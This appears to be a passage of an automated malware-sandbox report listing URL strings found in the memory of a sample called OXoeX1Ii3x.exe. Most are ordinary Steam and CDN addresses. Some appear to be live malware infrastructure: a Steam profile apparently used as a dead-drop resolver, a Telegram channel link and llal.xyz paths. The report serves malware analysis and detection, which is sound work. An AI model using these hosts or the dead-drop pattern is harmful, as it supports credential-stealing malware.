Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: OXoeX1Ii3x.exe, 00000000.00000002.2505872324.000000000313A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly4
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: OXoeX1Ii3x.exe	String found in binary or memory: https://https://t.me/asdfghjrrewqqqqtfg/ujs/WorldHellostrwvfncexGostrbrCHbrGkunknownftpac/Up/gltype
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d3
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842dL
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842db
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842dy
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://llal.xyzuser
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199619938930
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: OXoeX1Ii3x.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930/badges
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930/inventory/
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930AC
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930HS
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930O
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930QC
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930V
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930yB
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930~
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;eE
Source: 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/poin
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/stats/
